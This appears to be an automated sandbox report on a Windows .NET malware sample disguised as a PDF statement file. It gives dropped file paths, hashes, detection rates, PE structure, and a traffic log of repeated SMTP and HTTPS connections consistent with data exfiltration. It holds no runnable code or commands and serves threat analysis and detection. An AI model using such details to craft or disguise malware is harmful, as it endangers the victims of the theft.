C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Download File

Process:	C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	722944
Entropy (8bit):	7.94272561913419
Encrypted:	false
SSDEEP:	12288:mWYIPXjxannnHg2rA1a8vHKzUREMEngfnRhU0KjqdAwz725zfjVfjKIsj+1F0DxY:mWYIPFannnHg2Qa86n0LdAA70ztjRh0W
MD5:	7A6E9D01D9162C7537BA8091187E4235
SHA1:	F5B69F4B0EC8CD0A4B7BAB26A0DE167C8CC535CD
SHA-256:	7FD14673F73717B024728AE4248BE0A1579F480A261C4F4D94742F230A01CB47
SHA-512:	7AF388861A5BE63B87E8159E2B20BF78D110517B8DB6A314A7128CBA29075734BE43C543B1D701E360778D539951C58E3C06BC2EE2E2AD6855D0067FFF55A199
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45% Antivirus: Virustotal, Detection: 52%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....)f..............0...... ........... ........@.. .......................@............`.....................................O............................ ....................................................... ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\eeBIYZL.exe

Download File

Process:	C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	722944
Entropy (8bit):	7.94272561913419
Encrypted:	false
SSDEEP:	12288:mWYIPXjxannnHg2rA1a8vHKzUREMEngfnRhU0KjqdAwz725zfjVfjKIsj+1F0DxY:mWYIPFannnHg2Qa86n0LdAA70ztjRh0W
MD5:	7A6E9D01D9162C7537BA8091187E4235
SHA1:	F5B69F4B0EC8CD0A4B7BAB26A0DE167C8CC535CD
SHA-256:	7FD14673F73717B024728AE4248BE0A1579F480A261C4F4D94742F230A01CB47
SHA-512:	7AF388861A5BE63B87E8159E2B20BF78D110517B8DB6A314A7128CBA29075734BE43C543B1D701E360778D539951C58E3C06BC2EE2E2AD6855D0067FFF55A199
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45% Antivirus: Virustotal, Detection: 52%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....)f..............0...... ........... ........@.. .......................@............`.....................................O............................ ....................................................... ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\eeBIYZL.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.94272561913419
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	SOA FOR APR 2024 PDF.exe
File size:	722'944 bytes
MD5:	7a6e9d01d9162c7537ba8091187e4235
SHA1:	f5b69f4b0ec8cd0a4b7bab26a0de167c8cc535cd
SHA256:	7fd14673f73717b024728ae4248be0a1579f480a261c4f4d94742f230a01cb47
SHA512:	7af388861a5be63b87e8159e2b20bf78d110517b8db6a314a7128cba29075734be43c543b1d701e360778d539951c58e3c06bc2ee2e2ad6855d0067fff55a199
SSDEEP:	12288:mWYIPXjxannnHg2rA1a8vHKzUREMEngfnRhU0KjqdAwz725zfjVfjKIsj+1F0DxY:mWYIPFannnHg2Qa86n0LdAA70ztjRh0W
TLSH:	13F4238561FDCB8BF83F5BB44070192493F5BD696860E3189FC111EC9B23785A261BAB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....)f..............0...... ........... ........@.. .......................@............`................................

File Icon


Icon Hash:	c14e4c4c4c4c4f41

Static PE Info

General

Entrypoint:	0x4afcfa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6629B98C [Thu Apr 25 02:01:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
xor eax, 35455354h
xor dword ptr [edi+eax*2], esi
dec eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx+4Ah], dl
push ebx
cmp byte ptr [eax+edi+34h], al
inc ebx
inc ebx
xor al, 37h
xor eax, 00000035h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xafca8	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x1008	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xadd20	0xae000	d1844d91aa8a9d976e370c8f9467037a	False	0.9530043327945402	data	7.967897552415294	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x1008	0x1800	97cd8a03d00455574c2f9938c520bf3e	False	0.5411783854166666	data	5.083108720564573	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb2000	0xc	0x800	3b9e26e8b113c26ab4ad596d024629af	False	0.01611328125	data	0.03037337037012526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb00c8	0xc08	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9308441558441558
RT_GROUP_ICON	0xb0ce0	0x14	data	1.05
RT_VERSION	0xb0d04	0x300	MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"	0.4427083333333333

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 09:01:58.020010948 CEST	49708	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:01:58.020036936 CEST	443	49708	104.26.12.205	192.168.2.5
Apr 26, 2024 09:01:58.020129919 CEST	49708	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:01:58.025794029 CEST	49708	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:01:58.025810957 CEST	443	49708	104.26.12.205	192.168.2.5
Apr 26, 2024 09:01:58.320241928 CEST	443	49708	104.26.12.205	192.168.2.5
Apr 26, 2024 09:01:58.320322990 CEST	49708	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:01:58.322689056 CEST	49708	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:01:58.322695017 CEST	443	49708	104.26.12.205	192.168.2.5
Apr 26, 2024 09:01:58.323110104 CEST	443	49708	104.26.12.205	192.168.2.5
Apr 26, 2024 09:01:58.377305984 CEST	49708	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:01:58.450061083 CEST	49708	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:01:58.492161036 CEST	443	49708	104.26.12.205	192.168.2.5
Apr 26, 2024 09:01:58.643203020 CEST	443	49708	104.26.12.205	192.168.2.5
Apr 26, 2024 09:01:58.643276930 CEST	443	49708	104.26.12.205	192.168.2.5
Apr 26, 2024 09:01:58.643325090 CEST	49708	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:01:58.649333954 CEST	49708	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:01:59.688827991 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:01:59.887290955 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:01:59.887370110 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:00.184763908 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:00.186783075 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:00.383451939 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:00.383615017 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:00.581645012 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:00.582048893 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:00.788806915 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:00.789010048 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:00.789024115 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:00.789057016 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:00.826528072 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:01.028373957 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:01.032215118 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:01.229387999 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:01.230385065 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:01.427436113 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:01.428416967 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:01.664973974 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:01.726907015 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:01.727221012 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:01.923645020 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:01.923724890 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:01.923963070 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:02.162568092 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:02.177920103 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:02.178169012 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:02.374411106 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:02.374490023 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:02.375130892 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:02.375185013 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:02.375211000 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:02.375226974 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:02.571576118 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:02.571796894 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:02.572338104 CEST	587	49711	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:02.627312899 CEST	49711	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:03.358038902 CEST	49712	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:03.358089924 CEST	443	49712	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:03.358233929 CEST	49712	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:03.361484051 CEST	49712	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:03.361515999 CEST	443	49712	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:03.647284031 CEST	443	49712	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:03.647380114 CEST	49712	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:03.649467945 CEST	49712	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:03.649488926 CEST	443	49712	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:03.650463104 CEST	443	49712	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:03.690325022 CEST	49712	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:03.710253954 CEST	49712	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:03.756124020 CEST	443	49712	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:03.972718000 CEST	443	49712	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:03.972873926 CEST	443	49712	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:03.972964048 CEST	49712	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:03.976149082 CEST	49712	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:04.530052900 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:04.727452993 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:04.727585077 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:04.995862961 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:04.996057987 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:05.192907095 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:05.193202019 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:05.394184113 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:05.394665003 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:05.602966070 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:05.602981091 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:05.602993011 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:05.603214979 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:05.604878902 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:05.801742077 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:05.805373907 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:06.015054941 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:06.015356064 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:06.215074062 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:06.215420961 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:06.414022923 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:06.414283037 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:06.610853910 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:06.611076117 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:06.849312067 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:06.867918015 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:06.868700027 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:07.065476894 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:07.065521002 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:07.066230059 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:07.066277981 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:07.066301107 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:07.066318989 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:07.267527103 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:07.267564058 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:07.268419027 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:07.268431902 CEST	587	49713	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:07.314831972 CEST	49713	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:13.413479090 CEST	49721	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:13.413496971 CEST	443	49721	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:13.413558960 CEST	49721	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:13.420346022 CEST	49721	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:13.420377970 CEST	443	49721	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:13.679438114 CEST	443	49721	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:13.679517031 CEST	49721	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:13.681262970 CEST	49721	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:13.681288004 CEST	443	49721	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:13.681644917 CEST	443	49721	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:13.735812902 CEST	49721	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:13.780107021 CEST	443	49721	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:14.009052038 CEST	443	49721	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:14.009192944 CEST	443	49721	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:14.009615898 CEST	49721	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:14.018975973 CEST	49721	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:14.597830057 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:14.794245958 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:14.794524908 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:15.062194109 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:15.062402010 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:15.259160995 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:15.259377003 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:15.457284927 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:15.457789898 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:15.664345980 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:15.664393902 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:15.664429903 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:15.664448977 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:15.666913033 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:15.863693953 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:15.868716002 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:16.065373898 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:16.065747976 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:16.262876034 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:16.263370037 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:16.461636066 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:16.462258101 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:16.674487114 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:16.674906015 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:16.911942959 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:16.928513050 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:16.928765059 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:17.135317087 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:17.135337114 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:17.135952950 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:17.136046886 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:17.136046886 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:17.136046886 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:17.332431078 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:17.332456112 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:17.332561970 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:17.333199978 CEST	587	49722	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:17.377356052 CEST	49722	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:21.630147934 CEST	49723	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:21.630201101 CEST	443	49723	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:21.630278111 CEST	49723	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:21.633105040 CEST	49723	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:21.633135080 CEST	443	49723	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:21.891381979 CEST	443	49723	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:21.891477108 CEST	49723	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:21.897025108 CEST	49723	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:21.897083998 CEST	443	49723	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:21.897414923 CEST	443	49723	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:21.939815044 CEST	49723	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:21.945668936 CEST	49723	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:21.992131948 CEST	443	49723	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:22.221806049 CEST	443	49723	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:22.221965075 CEST	443	49723	104.26.12.205	192.168.2.5
Apr 26, 2024 09:02:22.222875118 CEST	49723	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:22.225342989 CEST	49723	443	192.168.2.5	104.26.12.205
Apr 26, 2024 09:02:22.650998116 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:22.846906900 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:22.846990108 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:23.580065966 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:23.580344915 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:23.776743889 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:23.776953936 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:23.974812031 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:23.975359917 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:24.181900024 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:24.181941032 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:24.181978941 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:24.182005882 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:24.184978962 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:24.381376028 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:24.385890961 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:24.589987993 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:24.590773106 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:24.793277979 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:24.793622971 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:25.029527903 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:25.082041979 CEST	587	49724	50.87.195.61	192.168.2.5
Apr 26, 2024 09:02:25.094063997 CEST	49724	587	192.168.2.5	50.87.195.61
Apr 26, 2024 09:02:25.290054083 CEST	587	49724	50.87.195.61	192.168.2.5
